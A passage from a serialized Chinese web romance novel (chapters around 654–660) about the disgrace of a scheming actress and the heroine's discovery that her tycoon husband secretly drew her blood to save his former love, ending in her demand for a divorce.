是啊,早就变得陌生了。 这些年颜佳雨做了太多错事,而她就是颜佳雨手里的一把刀,她倒是干干净净,只有她染了血却还要一意孤行的护着她捧着她。 颜佳雨早就变了。 “你不想坐牢,难道我就想坐牢吗。” 林梅看着面前的颜佳雨,整个人的身体都像是在发抖。 “当初我劝过你,我每一次都在劝你,你从来不肯听我的……” “可你不还是做了吗!”颜佳雨大声斥责。 “是你做的,全都是你做的!你不帮我顶罪最后我们都要进去!” 颜佳雨还在逼她。 林梅眼睛发红,她也知道自己不顶罪颜佳雨也会进去,这么多年感情不是说没就没的,她必须利益最大化,必须帮颜佳雨,否则她们两人都会被毁掉的。 林梅才想应下,却听颜佳雨面色狰狞道:“你不帮我顶罪我就让你身败名裂!当初的那段视频我没有删除!如果你不帮我顶罪我就会让那段视频传遍网络!让所有人都知道你林梅曾经如何放浪!” 颜佳雨的话才出口,林梅整个人彻底僵住了。 她从未想过颜佳雨会因为这件事来威胁自己。 那段视频,她以为颜佳雨早就删除了,原来她一直留有备份。 林梅觉得自己实在太可笑了,原来颜佳雨从没有变过,她一直都是这样自私阴毒的女人,是她被颜佳雨骗了过去。 她必须要为自己考虑了,这样的颜佳雨对她来说没有任何信誉可言,她必须要跟颜佳雨谈好条件为自己以后做打算。 “我可以帮你顶罪,但你现在就必须给我你半数的财产,打到我给你的虚拟账户上然后删掉那段视频。” 她几乎是哑着嗓子说出这话。 颜佳雨见她同意了顿时点头应了。 她知道林梅不会在这种事上欺骗自己。 通过第三渠道转走了那笔数额庞大的钱款,然后删除了视频,林梅信守承诺选择自首。 林梅离开了,颜佳雨的心里空落落的。 林梅选择自首的消息许愿第一时间就知道了,她早就猜到颜佳雨会逼着她的经纪人这么做。 果然这个女人就是够狠。 许愿做了一把推手,第二天爆了大料。 A市发生了一件大事,A市孤儿院基金会组织被爆出恋铜丑闻,并曝光这些大人物私下玩弄幼童的一些打码照片,幼童的脸被打码,那些畜生的脸却被公之于众。有暗访的记者录下那些幼童居住的地下室,地下室就像是关押罪犯的囚牢,那些长相漂亮的幼童被链子圈着锁着,被那些畜生待价而沽。 这消息曝光后有关部门立刻彻查此事,跟这件事有关的人纷纷落马被关押审问,这其中有各行各业的“精英人士”,他们是衣装革履的成功人士,可脱了衣服就是衣冠禽兽。 同时作为A市几家孤儿院慈善基金会代言人的颜佳雨也一同被人攻击辱骂,颜佳雨粉丝还想给颜佳雨洗白,却被各种组织围攻,就连妇联都怒斥颜佳雨无德。 【颜佳雨粉丝还有什么可洗的?那些孩子住在那种地方,她作为代言人在此前没有去看过这些孩子吗?没看到那些孩子满脸恐慌吗?如果颜佳雨真的在乎这些孩子一定能发现这些孩子浑身是伤!可她没发现还在为自己成为代言人而沾沾自喜!】 颜佳雨部分粉丝觉得颜佳雨无辜,纷纷下场洗白颜佳雨。 【颜佳雨只是代言人而已,她接下这个代言也是想做好事让更多人跟她一起给孤儿院的孩子捐赠物资吗?当初她接了这代言的时候你们夸她心善现在出了事就要把脏水都泼到她身上?凭什么?】 【难道我们姐姐做好事都要被骂?这世界上还有没有天理了?那些人是畜生难道颜佳雨就跟他们一样吗?你们没看到颜佳雨接下这个代言还向基金会捐了两百万吗!这些钱难道也是假的吗!再说这个代言是她经纪人给她接的跟颜佳雨有什么关系?经纪人没有查清基金会底细就让她接了代言,这都是经纪人的锅跟颜佳雨没有关系!】 第655章 是真善良还是假慈悲 颜佳雨部分粉丝觉得这件事煽动水军骂一骂也就过去了,因为以前有些明星接了有问题的代言解除代言合约洗白后一样能在圈内生存,但她们显然不清楚这次事情闹得有多大。 上面注意到这基金会,作为基金会代言人的颜佳雨自然没好果子吃,甚至有人怀疑颜佳雨跟一些人联系达成了某些龌龊合作,按照上面的意思颜佳雨的星路算是到头了。 不多时有不少知情人士到网络上说起这次基金会出事的严重性以及对颜佳雨星途的影响。 【这次基金会事情牵扯甚广,粉丝也不必急着给她洗白,因为颜佳雨接下这个代言本也不是因为善心而是出于私心。 这类基金会一般情况下都是商圈有头有脸的人物作秀的地方,每年捐够固定的数额可以降低公司税率且还能提高公司的公信力及路人好感度甚至公司股票也能升几个点,所以他们捐出去的钱会数倍的赚回来。 这类人群会给基金会找一些知名度较高的明星艺人来彰显自己基金会的‘高大上’,而成功签约成为代言人的明星艺人会被视作自己人能够参加这些人的宴会谈下各类合作,后续不会再却好资源。所以对他们来说这算是双赢。 颜佳雨粉丝也不用急着反驳我的观点,你们可以试着查一下这次被捕名单的大人物以及颜佳雨工作室最近官宣的几个品牌合约跟他们有没有什么关系。 是真善良还是假慈悲一查便知。】 这条微博被顶到最前面,颜佳雨大都不敢吱声,只有小批量粉丝在下面骂他胡说八道嘴里没半句真话。 然而没等她们骂够本就有大V号总结了颜佳雨近期官宣的品牌合约和那些人的联系。 蓝秀高档奢侈名表,其对应的是被捕的李丽杰。 柏秀眼镜,对应的是被捕的田文旭。 颜佳雨即将接的资源《天河》,天宇影业老总齐声是最大的投资商,也已被捕。 后面还罗列了一些被八卦号曝光的未正式签约但已经谈妥的资源,也全都跟这些人有关。 颜佳雨的大粉也已经死心了,就像有些人说的,颜佳雨如果真的有那个心怎么可能不去孤儿院实地查探一下?就算他们伪装的再好也总能发现端倪,颜佳雨什么都没发现其实根本就没把这事放心上,她打从一开始看上的就是接下这个代言能给她带来的更好的资源。 颜佳雨官博里的大粉在群里纷纷沉默,还有些执迷不悟的大粉在群内辱骂这些曝光真相“毁掉”颜佳雨的人。 理智些的大粉不是傻子没有再被带节奏,但也不想在群里发言沉默的退群,五千人的满群一直有人退出,最后竟然只剩下一千多人。 颜佳雨一直都营销人美心善的人设,现在算是彻底塌房了。 网络上还在攻击颜佳雨不肯放过她,不仅攻击颜佳雨甚至攻击到颜佳雨此前接下的那部《潜伏》官博也沦陷,纷纷怒骂颜佳雨不配出演《潜伏》的女主角,甚至还不停@黎氏更换品牌代言人。 {《潜伏》可是民国卧底动作剧,像颜佳雨这种塌房塌到渣都不剩的人怎么演《潜伏》?她配演女英雄吗?让她演女汉奸都是看得起她!} {黎氏的你别不出声!《潜伏》必须换女主角否则电影票房一定遭遇滑铁卢!求求看看《云雾》温栩栩,她的林青黛真的是女枭雄!} {又想起以前颜佳雨粉丝攻击温栩栩那事儿了,现在看看真像是个笑话。} {黎氏也别藏着不说话了赶紧换代言人吧,我现在只要想到我用的最新款手机代言人是颜佳雨就忍不住恶心想吐!} {前天才用半年的工资买了颜佳雨代言的戒指想跟女友求婚,气哭了,现在这戒指还能要吗?真怕送出去女友会跟我分手啊!黎氏赶紧换代言人啊!} 换代言人换女主角的言论才刷起来有些人就震惊的发现颜佳雨身上很多火爆资源和高奢资源都是黎氏给的!那是不是代表颜佳雨是黎氏捧着的真“公主”? 这波言论才刚刷起来颜佳雨的一群铁粉跳出来纷纷嘲讽温栩栩就是个没什么代表作的流量女星拿什么跟作为影后的颜佳雨比。 【笑死人了,你们再怎么嘲讽我们佳雨也是黎氏力捧的!我们佳雨姐姐是黎总的青梅,温栩栩算什么?一个十八线也配攀扯佳雨!太看得起自己了!】 【我们姐姐的资源给谁也不可能给温栩栩好吧,温栩栩有几个代表作就敢碰瓷我们姐姐?温栩栩粉丝少做点梦吧!】 【有黎总,我们姐姐倒不了!】 颜佳雨粉丝嘲完没多久黎氏就发博表示颜佳雨所有跟黎氏有关的的品牌合约都将终止并出于各方面考虑更换更优秀的代言人,同时公布了新代言人的写真照。 新代言人正是温栩栩。 颜佳雨在温栩栩面前得意炫耀的代言现在变成了温栩栩的。 黎氏娱乐也紧接着表示《潜伏》还没有正式开拍,他们听取广大网友的意见并因温栩栩《云雾》的精湛演技把女主角换成了温栩栩。 这波打脸直接令温栩栩粉丝不战而胜,甚至调侃温栩栩才是黎氏的真公主。 颜佳雨粉丝气急败坏。 {笑死了,就是捡到了我们姐姐不要的资源就乐成这样,温栩栩是捡垃圾的吗?} {不就是一个黎氏吗?我们姐姐代言还多着呢!温栩栩也就配得上这些垃圾代言了!} {黎氏换代言人那是他们有眼无珠!我们姐姐分分钟签更好的品牌代言!} {垃圾《潜伏》等拍完上映我们也不去看,温栩栩这种流量明星拍出来的也配上大荧幕?} 颜佳雨粉丝为她发声,结果没多久她所有合作的品牌纷纷单方面解约。 颜佳雨粉丝红着眼睛还在为颜佳雨反黑各种辱骂这些品牌,黎氏首当其冲遭受攻击。有些懂行的明显都被这些没脑子的气笑了。 第656章 选错了 【颜佳雨剩下的这群脑残粉真是一粉顶百黑啊。骂黎氏的品牌是垃圾?黎氏旗下的珠宝品牌排在全球高奢品前十,一年代言费高达五千万,这是你们说的“垃圾”品牌?黎氏旗下手机是国人购买使用率最高的手机且红到整个亚洲,这是你说的“垃圾”品牌?我就问问,圈内哪位明星艺人遇到黎氏不低头喊句爸爸?你说爸爸的品牌是垃圾?你们捧的姐姐打从今天开始在娱乐圈即将查无此人!】 颜佳雨粉丝被吓到了,但都骂到现在了更不可能低头,只能骂的更凶。 趁着这个势头曾经被颜佳雨欺压过的艺人也知道了些内情纷纷发博踩一脚。 人美心善的顶流影后?明明是顶流水后,当年评委收受贿赂把奖颁给了颜佳雨,这件事终于被爆出来。 至于人美心善?在剧组不允许对戏的演员盖过她的光芒否则一定会改剧本或换演员。 墙倒众人推,一些真真假假的有关于颜佳雨的料全被爆出来惹得网友纷纷吃瓜,在瓜田里犹如上蹿下跳的猹。 这些都是许愿一早就准备好的,这是她送给颜佳雨的礼物。 颜佳雨不是故意害了温栩栩上黑热搜吗?那她就让颜佳雨也尝尝这滋味儿,这是颜佳雨应得的。 温栩栩因为《云雾》林青黛的精彩演技上了热搜,而颜佳雨却因为基金会的事被骂上热搜,曾经两人同在热搜上一个天一个地,现在两人还是一起在热搜上,仍是一个天一个地。 医院。 曾经被黎老太太害死母亲的私生子一直关注网络上的风风雨雨还特意跟黎老太太提起颜佳雨的遭遇。 黎老太太喉间发出嘶吼声,她眼里像是快要渗血不敢相信这一切。 她还在等着温栩栩惨死,可现在黎氏明显就是护着温栩栩在对付颜佳雨!黎氏的态度就代表黎云笙的态度,黎云笙已经不在乎颜佳雨,他要维护的只有温栩栩。 她还苦苦挣扎等着温栩栩遭报应,可遭报应的是谁呢,只有她! 她这样活着还有什么意思呢? 黎老太太呼吸愈发急促没了求生的意识,私生子冷笑的找来医生给她用上呼吸机。 “怎么能让你这么轻松的死在医院里。”私生子声音阴冷:“我会让你活着比死了更难受。” 黎老太太喉间发出“嗬嗬”的声音,像是喉间堵了什么东西,她面色狰狞着,私生子跟没瞧见似的坐在一旁。 黎老太太气急攻心撑不住的晕过去。 医生手忙脚乱的命人把黎老太太放到推车上往急救室赶,私生子没有任何动作的坐在原地,他低着头刷微博,看着漫天都在骂颜佳雨从而嗤笑连连。 …… 颜佳雨失魂落魄,不知道该怎么办,才被放出来的黎云浩看她这副模样有几分不忍,但转念想到因为颜佳雨害他公司的股价直线下跌濒临破产那满腔的恨意便涌上来,即便颜佳雨去找黎云笙救过他,可说到底在他心里钱可比颜佳雨重要多了。 “颜佳雨,我们取消婚约分手吧。”黎云浩残忍的开口:“从今天开始我们桥归桥路归路再没关系。” 颜佳雨陡然满目狰狞:“我为了你抛弃黎云笙现在你却因为这些舆论放弃我!黎云浩你还是不是个男人!” 黎云浩听到此看她的眼神十分冷:“是我拿刀架在你脖子上逼你跟我订婚吗?这一切都是你自己选的,也别在我这里装深情,我认识的人里面就只有你最虚伪最没用。” “你跟黎云笙一起长大跟她青梅竹马怎么可能跟我有多深的感情,不过是看黎云笙出车祸残了双腿又体弱多病所以才残忍的放弃他选择我,你满口谎言说爱我,你爱的只是我有可能继承的黎氏财团。”黎云浩又冷笑一声:“我们两个本就因为利益凑到一起,现在都身败名裂还装什么深情,各走各路才是最好的结局。” 黎云浩懒得跟颜佳雨浪费口舌,他离开时还是十分恶劣的留下一句话:“这辈子你也再遇不到黎云笙这样的深情种。” 门被结结实实的关上,颜佳雨捂住脸不住的呜咽出声。 她后悔了,她当初不该选黎云浩的,如果选黎云笙他们早就结婚了!她早就是黎氏的总裁夫人了,谁还敢取笑她呢? 可她选错了,这辈子再遇不到黎云笙那样优秀还深爱她的男人了…… 颜佳雨不停的摇头。 她哭累了才踉跄的开车想回家,路过中心广场一眼就看到广场高台大屏幕上本该属于她的代言广告牌已经换成了温栩栩。 她牙齿几乎咬碎,哽咽着,眼泪不停的往下落。 他怎么能呢……怎么能这么对她呢!她变成这样凭什么黎云笙和温栩栩就这么幸福的在一起? 温栩栩,是温栩栩……她变成这样全都因为温栩栩! 温栩栩抢了黎云笙还害她身败名裂!她不会让温栩栩好过! 颜佳雨痛彻心扉将所有的恨意都倾注到温栩栩身上,温栩栩却全然不知发颜佳雨将一切算在自己身上,此刻还赖在黎云笙怀里唇角带着笑意的睡去。 第二天颜佳雨跟踪到温栩栩会带着女团参加综艺录制。 温栩栩现在已经爆红,主持人和明星嘉宾都纷纷讨好她顺着她说话,颜佳雨在戴着口罩墨镜在后台面目狰狞。 直至团队录制完综艺有说有笑的回到休息室就看到惨白着一张脸的颜佳雨。 她摘了口罩墨镜,阴测测的盯着温栩栩,眼底藏着滔天怒火和恨意,她甚至想冲过去咬断温栩栩的脖子,让她流干血消失在这世界上。 杜佳安秦萌萌率先挡在温栩栩前面拦住颜佳雨,怕她发狂伤到温栩栩。 “干什么这么怕一个失败者?”话音才落,温栩栩快步走到颜佳雨面前一手扯住她两只手腕搜她全身没找到什么危险物品这才把人丢到一旁喊了助理:“把人丢出去。” 助理立刻就要拉着颜佳雨赶出去,颜佳雨被羞辱的赤红着一张脸:“我手里拿着的这份文件你没看到吗!” 第657章 闹够了没有 “有必要看吗?现在你的经纪人为你顶罪入狱,你身败名裂代言也全都到了我这里,你肯定因为这些事恨我恨的牙痒痒,所以这文件怕是挑拨我和阿笙的文件。” 温栩栩坐在椅子上正眼不瞧颜佳雨,懒洋洋道:“这种挑拨我们关系的文件有必要看吗。” “我奉劝你有话就尽快说,等一下阿笙会来接我,如果让他看到你来找我麻烦……你应该知道轻重。”温栩栩不咸不淡的警告她。 颜佳雨看到温栩栩手上戴着的戒指一股呕意涌上来,她浑身发抖又怒又心痛:“你知道黎云笙为什么会娶你吗!” 温栩栩看了眼时间懒懒散散的不愿理她。 “你是我的血库!黎云笙娶你把你控制在他身边只因为你跟我血型相同!” 温栩栩眼睫一颤。 颜佳雨越说越激动:“我一直体弱还患有心脏病,是黎云笙承诺会给我一个健康的身体,你的肾和你的心脏换到我身上就能给我一个最健康的身体。你以为他为什么娶你?他是为了我!你不仅是我的替身还是我的血库!” 杜佳安觉得她是个疯子要把人赶出去,温栩栩眼神冰冷:“不需要赶她,让她把话说完。” 杜佳安憋着气没再赶她。 颜佳雨眼睛赤红:“你不信我说的话吗?那次我出车祸大出血是我故意作秀想试你是不是我的血库,你猜云笙怎么做的?” 温栩栩心沉下去,颜佳雨看她面色凝重的模样癫狂的大笑着:“她给你吃了大剂量的安眠药后让人抽了你的血送到我这里,说什么你拍戏太累才会晕倒,分明就是失血过多!” “结果你这个蠢货竟然在真的相信是你自己太累了!太可笑了!太累了会失血过多吗!你被抽了太多血都已经站不稳那几天都只能坐在轮椅上你却都不会怀疑他!” 温栩栩怔住。 想到那段时间自己身体有多虚弱,而黎云笙陪在自己身边时候矛盾又心痛的眼神,她还以为黎云笙是在心疼自己,难道黎云笙是在心疼出车祸的颜佳雨吗? 颜佳雨怕她不信又说:“第二次是我找了个罪犯假扮你的粉丝作秀住院,云笙又给你喂药抽了你的血给我,你口口声声说云笙爱你,你仔细看看他究竟最爱谁呢?他把你锁在身边全都为了我!我出事他就要设计你抽你的血来救我!你这条命也早晚都是我的!” 杜佳安眼睛都红了久久说不出话来,其他人也十分震惊。 温栩栩心口抽搐的疼着,她也终于明白那几天为什么一直让她吃补气血的东西…… 温栩栩微闭眼眸心口钝痛,那种痛让她身体几乎都在颤抖。 颜佳雨看她这副模样十分得意的捧腹大笑:“你就是我的移动血库,你的心脏你的肾脏还有你身上的血都是我的!” 她还嫌不够压低声音带着几分即将得逞的狠意:“黎老夫人都告诉我了,黎云笙的确对你动了恻隐之心不想动你,可他却想让你给他生个孩子来当我的血库,你现在说不定已经怀了。”她恶意满满:“怀了又怎么样呢,怀了生下来也是我的血库,养大了她的心脏肾脏也都是我的!” 温栩栩捂住小腹,她陡然想起黎云笙问过她想不想要孩子。 温栩栩垂眸,颜佳雨鼓掌大笑:“你伤心了哈哈哈你伤心了!我早说过他不喜欢你,是你一定要黏在他身边,你活该!” 温栩栩捂着自己的心口,倏地抬起头,眼底都是冷意,片刻后温栩栩却笑起来,她站起来走近颜佳雨一把揪住颜佳雨的长发:“如果换做是别人大概真的会因为这种误会跟他离心然后被你这种毒妇趁虚而入。” “可你看错了,我不是那种人。”温栩栩嗤笑一声:“黎云笙手中的股份现金动产不动产半数都转到我的手上,你觉得这种情况下黎云笙真的敢做任何对不起我的事吗。” 颜佳雨猛然愣住。 “或许他猜到未来这件事有暴露的一天,所以他给了我足够的安全感,钱都在我手里,你说我还怕什么呢?如果他真敢伤害我那我就跟他离婚让他净身出户一辈子踩着他。”温栩栩翻看了眼颜佳雨拿来的文件满脸不屑:“所以,你的如意算盘打错了。” 温栩栩将文件砸到她脸上,瞥了眼留有一条缝的门喊了句:“门口的人听完了没,听完了滚进来把她带走!” 走进来的是黎云笙和黎云浩。 黎云笙因为颜佳雨那些话有些心虚,而黎云浩则是担心颜佳雨在外闹事再惹了温栩栩和黎云笙让自己没好日子过,所以才找来打算把她带回家去。 温栩栩扬着下巴走到黎云笙身边,颜佳雨脸上恨意无法遮掩,“云笙你告诉她你是为了我才娶的她!你答应我的!你答应我会给我一个健康的身体!” 黎云笙眸光冰冷:“忘了那件事吧,我不会伤害温栩栩,也不会允许有任何人伤害她。” “你答应我的!你答应过我的!”颜佳雨捂着心口只觉得心口疼的快要炸开,她卧倒在地面上像个虫蛹蠕动痛的面色惨白。 黎云浩厉喝:“你到底闹够了没有。” “他答应我的,温栩栩的心和肾脏都是我的,是我的……哈哈哈哈是我的……都是我的……”她疼的面目狰狞,可开口还是要温栩栩的命。 温栩栩声音冷硬:“黎云浩先生,颜佳雨犯了这么多事如果判刑的话恐怕也要五年起步了。看在颜佳雨小姐精神有些问题,不如就把她送到精神病院好了。” 温栩栩眼底没有半点感情的睨着地上犹如爬虫的颜佳雨:“把她关到精神病院再不放出来,这样她就没办法再伤害任何人,黎云浩先生认为呢。” 颜佳雨捂着胸口痴狂的大笑着,宛若一个疯子。 黎云浩眉眼之间只余冷意:“温小姐这么做是不是过分了些。” 就算他对颜佳雨没多少感情,但这到底曾是自己的未婚妻。 第658章 不配在我面前再提爱 黎云笙道:“你看她难道不是疯了吗,如果你不忍心把她送进精神病院那我自会把她送进牢狱关上一辈子。” 黎云浩又看了颜佳雨一眼,良久后叹了口气:“我知道了,我会把颜佳雨关起来不让她再打扰你们。” 黎云浩让保镖绑走了痴痴呆呆要挖人心的颜佳雨,她像是真的疯了,两手一直做着掏挖人心的动作大吼大叫着“温栩栩的心是我的,挖她的心!” 听了这些残忍血腥的话黎云浩再没半点心疼,直接打电话联系精神病院并给她准备了最牢固的病房让人二十四小时监管不给她逃出来伤人的任何可能。 女团其他队员纷纷离开把休息室留给温栩栩和黎云笙。 “栩栩。” 黎云笙话音才落,温栩栩便已经后退几步。 “你先别说话。” 温栩栩打断他的话,她低下头一页一页的翻看颜佳雨带来的那份资料,看着看着竟然“哈”的笑出声,像是在笑自己。 温栩栩的声音在静谧的房间里回荡,带着无法掩饰的颤抖与痛苦。她的眼神中充满了失望与悲伤,仿佛刚刚经历了一场心灵上的地震。 “当初你肯接受十八岁的我是因为你觉得我长得像她?所以我就成了她的替身,在你眼里,我从来就不是真正的自己,只是一个影子,一个用来填补你心中空缺的替代品。”她的手指紧握成拳,指甲深深嵌入手心,却感受不到一丝疼痛,因为心中的痛早已淹没了所有感知。 “不仅是替身,你还因为我跟她的血型相同,就把我当成了随时可以取用的血库?”每说出一句话,就像是从心底深处挖出一块冰凉的石头,冰冷且沉重,“黎云笙,你真的把我当成一个人来看待了吗?还是说我只是你手中的一件工具,一只宠物,一件可以随意摆弄、利用的东西?” 她的声音开始哽咽,泪水模糊了视线,但她努力不让它们落下,似乎一旦落下,便是自己输了一样。 “你说你爱我,可你的爱太肮脏,太丑陋了!这不是爱,这是利用,是操控!”每一个字都像是用尽全力掷向对方。 “栩栩,你听我说。” 黎云笙试图开口解释,但温栩栩根本不想听,她的情绪已经达到了顶点,任何辩解在她看来都是借口。 “别说了!我不想再听到你的谎言!这些年来,我在你身边,以为找到了依靠,原来不过是自作多情。我问你,在你的眼里,我到底是什么?是一个可以随时替换的零件吗?” 她的话语中充满了绝望与无助,对未来的憧憬和对爱情的信任在此刻化为乌有。 温栩栩感到自己的世界正在崩塌,那些共同度过的时光,那些甜蜜的记忆,现在看来都是那么讽刺。 她觉得自己就像一片落叶,在无情的秋风中飘摇不定,最终只能独自面对这片荒芜。 “你所谓的爱,让我看清了真相,也让我明白了自己是多么愚蠢。也许从一开始,我就错了。错在相信了一个不该相信的人,错在把真心交付给了一个根本不值得托付的人。”泪水终于忍不住夺眶而出,顺着脸颊滑落,滴落在地上,无声地诉说着她内心的伤痛。 “曾经我知道你狠,你对我没有爱,如果你只把我当替身我也不会这么难过,我可以陪你玩陪你疯,可我没想过你想要的是我的命!” “对,你对我动了情,你不忍心伤害我,所以才会问我想不想要一个孩子,你甚至有这样丧心病狂的可怕念头,你想让我生下孩子去救颜佳雨,你就是个疯子是个魔鬼!” “你对我说的你结扎恐怕都只是个谎言,你就是希望我怀孕!” “黎云笙,你怎么能这么狠!怎么能!” 一句一句,声嘶力竭全都是对他的控诉。 “温栩栩,我是爱你的。”黎云笙想解释,可偏偏温栩栩说的一切都是事实,他的解释也会变得苍白且无力。 “爱我……你也配说爱。” “一个设计我,让我成为血库想要剖出我心脏的男人,想要我生命的男人说爱我,多可怕多恐怖,谁还能相信你的爱!” 温栩栩自嘲的勾动唇角。 “怪不得当初我求你帮阿愿你答应的那么痛快,怪不得你给我那么多珠宝和资源。” “因为在你心里我恐怕早就已经是个死人了,所以你当然会对我好,你是在弥补……偏偏我却信了你对我有感情。” “多可笑。” 温栩栩抬起头,逼着自己将眼泪重新逼回去。 “黎云笙。” “黎总。” 她喊了黎云笙的名字,然后换了称呼。 “我们不要在一起相互折磨了,我们离婚吧。” 她缓了片刻,强行的压制住自己内心无法克制涌动的悲伤,她强迫自己的声音变得平静,然后说出这句话。 黎云笙整个人怔住,像是没有想到温栩栩能对自己说出这种残忍的话。 “温栩栩,你不能就这么抛下我。” “是你从没有想着带上我!”温栩栩被他这句话刺到整个人都在发抖。 “你当初逼我结婚的时候只是担心我会脱离你的掌控!你只是不希望我离开发生不可控的事情,我只有在你的控制下才能随时随地被你设计的为你的心上人取血为她续命!” “黎云笙,你不配在我面前再提爱。” 温栩栩微微闭上眼眸:“离婚,否则我会起诉离婚,你也不想你做的那些事被公之于众对吗。” “现在离婚,我不会告诉任何人我们之间的事,阿愿也不会知道,如果你不选择离婚,你会身败名裂,此后都会是个罪人。” “我给你三天时间考虑,三天后我会将离婚协议书寄给你,我们不必再见面。” 话落,温栩栩略过他就要离开,黎云笙想要拦住她,他不想就这样看着温栩栩离开,可偏偏他又不配拦她。 看着她失魂落魄的背影,黎云笙心口钝痛,只觉眼前都是一片模糊。 第659章 三人的爱恨情仇 今天是江惊蛰陪黎云笙一起的,他在录制片场外的停车场等了很久,却等到了怔怔的不看路的温栩栩,温栩栩没有理他,上了保姆车就走了。 江惊蛰心里有点别扭,觉得温栩栩反应奇怪。 终于等到黎云笙后江惊蛰才察觉到不对。 “她知道了?” 江惊蛰听到黎云笙的话后,不禁叹了口气,目光中流露出深深的惋惜与自责,“我早说过,你不该那样对她。现在好了,她知道了真相。”他的声音低沉而沉重,仿佛承载着无数未说出口的遗憾。 黎云笙沉默地坐在座椅上,凝视着窗外那片朦胧的夜色。 城市的灯光在黑暗中闪烁,街道上的行人匆匆而过,每个人似乎都有着自己的方向和目的地,唯有他,在这灯火阑珊处迷失了自己。寒风吹过,带着一丝不易察觉的冷冽,如同此刻他心底的那一抹无法言说的孤寂与绝望。 “我真的爱她,”黎云笙的声音轻得几乎听不见,像是在对自己诉说,又像是在向整个世界解释,“我不想失去她,我以前不懂爱,我不知道怎么去爱……我以为我爱的是颜佳雨……”他的眼神空洞,望着外面不断变换的霓虹灯影。 江惊蛰轻轻拍了拍黎云笙的肩膀,想要给予一些安慰,但心中明白,有些伤口,不是一句简单的安慰就能治愈的。“或许,给她一点时间和空间,让她冷静下来,你们之间还有可能。” 说是这么说,但江惊蛰见过温栩栩,也了解温栩栩是什么性子,他觉得温栩栩既然提出离婚,那多半就很难回头了。 就算黎云笙想逼她也不可能,因为温栩栩背后的人是许愿。 黎云笙有片刻的恍惚,周围的环境依旧喧嚣,汽车的喇叭声、行人的谈笑声交织在一起,但在黎云昕耳中,这一切都显得那么遥远,仿佛来自另一个世界。 回到他和温栩栩共同的家,温栩栩的东西还在,可在他看来却好像已经空了。 他突然开始怀疑自己。 是他做错了,温栩栩说的那些话,指责怪罪她都全盘接受,他可以为自己犯下的错误做任何事……他只希望温栩栩不离开。 接到助理电话时他还在愣神,助理来电话有些慌张的开口道:“黎总,夫人在微博说将会解除跟黎氏的合作,不会再代言黎氏的任何产品也不会接下潜伏,现在网络上全都在讨论夫人跟我们黎氏之间是不是闹了什么矛盾,您看我们要怎么处理这次的热搜?” 怎么处理,能怎么处理? 温栩栩是真的生气了要跟他彻底分开。 黎云笙眸光暗淡:“我先看热搜,有消息再通知你。” “好的黎总。” 黎云笙有些僵硬的打开微博,温栩栩拒绝跟黎氏合作的消息已经力压颜佳雨的黑热搜成了头条。 温栩栩的黑粉全都跳出来攻击她。 【温栩栩太看得起她自己了吧?她什么东西啊拒绝黎氏?黎氏的资源那都是圈内有名的高奢资源,哪个代言不是天价?温栩栩这说拒就拒了?真当自己是什么大佬巨星了?】 【被她拒绝的《潜伏》的导演是知名大导,编剧更是拿过金奖的编剧,音乐特效全都是顶尖的温栩栩就这么拒绝了?她是真疯了,这么好的饼也不要。】 【笑死人了,温栩栩是觉得这是颜佳雨原来的东西所以不要吧,就她还嫌弃上颜佳雨了,真是不知道自己几斤几两。】 【不拍就不拍,也不怕得罪黎氏,黎氏给你面子还不赶紧接着!】 【得罪黎氏,温栩栩是真疯了,得罪资本就等着从圈子里面消失吧】 下面更有一些其他明星的粉丝在安利自己的偶像希望黎氏的人能看到,但黎氏一直没回应。 不少人还在等着看温栩栩被黎氏反击的好戏,温栩栩的粉丝也为她担心,结果黎氏在这种时候却发了个不痛不痒的通告,大意是这些代言和本子都不够好,黎氏会为温栩栩挑选更好的资源直到她满意。 所有吃瓜网友包括看戏的其他粉丝和其他明星艺人都震惊了!手里的瓜都掉了! 不是?你管这资源不好?你管这电影配置不好?温栩栩到底什么身份啊你们黎氏这么捧着的! 网络上都开始扒温栩栩的身份了,黎云笙眸光微暗,然后给助理发了信息,让他从颜佳雨入手,分散那些吃瓜网民的注意力。 很快温栩栩被质疑被嘲讽的热搜被压下去,有关于颜佳雨的热搜再度被顶上来。 #颜佳雨经纪人犯罪被捕# #颜佳雨患有精神疾病现已入院# 消息一出娱乐圈一片哗然。 颜佳雨经纪人被捕的原因也被爆出来,是颜佳雨经纪人林梅指使任天浩自导自演装作是温栩栩的粉丝伤害颜佳雨,有林梅给他打钱的证据,林梅也已经认罪,偏偏这个时候颜佳雨又因为精神病进了医院,网络上的人都开始猜测实情了。 【颜佳雨经纪人干的?谁信是颜佳雨经纪人干的?她跟温栩栩没仇没怨的会故意设计温栩栩?不是颜佳雨指使的她一个经纪人犯得着做这种事吗?】 【呵呵,经纪人被捕入狱,偏偏颜佳雨这时候一点是没有被诊断出精神疾病进了医院,就这么巧啊,真的查出犯罪了是不是只要说出颜佳雨是精神病就能无罪了!】 【这件事百分之百是颜佳雨干的,颜佳雨之前为孤儿院做代言的时候就什么都没查,且之前多次鼓动自己的粉丝针对温栩栩,这次做出这种事情还真是在意料之中!】 【我就等着看看黎氏还会不会护着颜佳雨……以前很多次黎氏都会直接出来护着她的。】 就在这时颜佳雨有一条热搜挂上去。 #颜佳雨未婚夫黎云浩# 这条热搜才挂上去,很多人都以为自己看错了、 啊?颜佳雨未婚夫黎云浩?黎云浩谁啊?颜佳雨未婚夫不该是黎云笙呢? 结果点开词条就明白了这三人之间的“爱恨情仇”。 粉丝眼中两人是青梅竹马,实则一切都是颜佳雨设计好的!颜佳雨最初看中黎云笙接近黎云笙也是想嫁进豪门,黎云笙只是恰好是她选中的男人! 第660章 盛景炎你就这样站着亲亲我 【这世界上还有比颜佳雨更恶心的人吗?我以为颜佳雨和黎总真的是青梅竹马感情深厚,可颜佳雨都做了什么?黎总车祸后她担心自己跟黎总在一起很快就跟其他人订婚,是,我可以理解她担心黎总残疾病弱,但她选谁不好偏偏选了黎云浩?黎家虽然是大家族,黎云浩虽然一再强调自己是黎家大少爷,可他就是个私生子,是黎总的父亲背叛了那段婚姻黎夫人还没有怀上黎总的时候就先让情人有了他!她竟然选择了这样一个私生子订婚!如果我是黎总,我根本没办法想象自己会有多恨她!可黎总不仅没有报复她甚至还为她建立娱乐公司为她组建资源让她成为黎氏代言人,一步一步将人捧到这样的高度,颜佳雨不配黎总这样的温柔以待!她不配!】 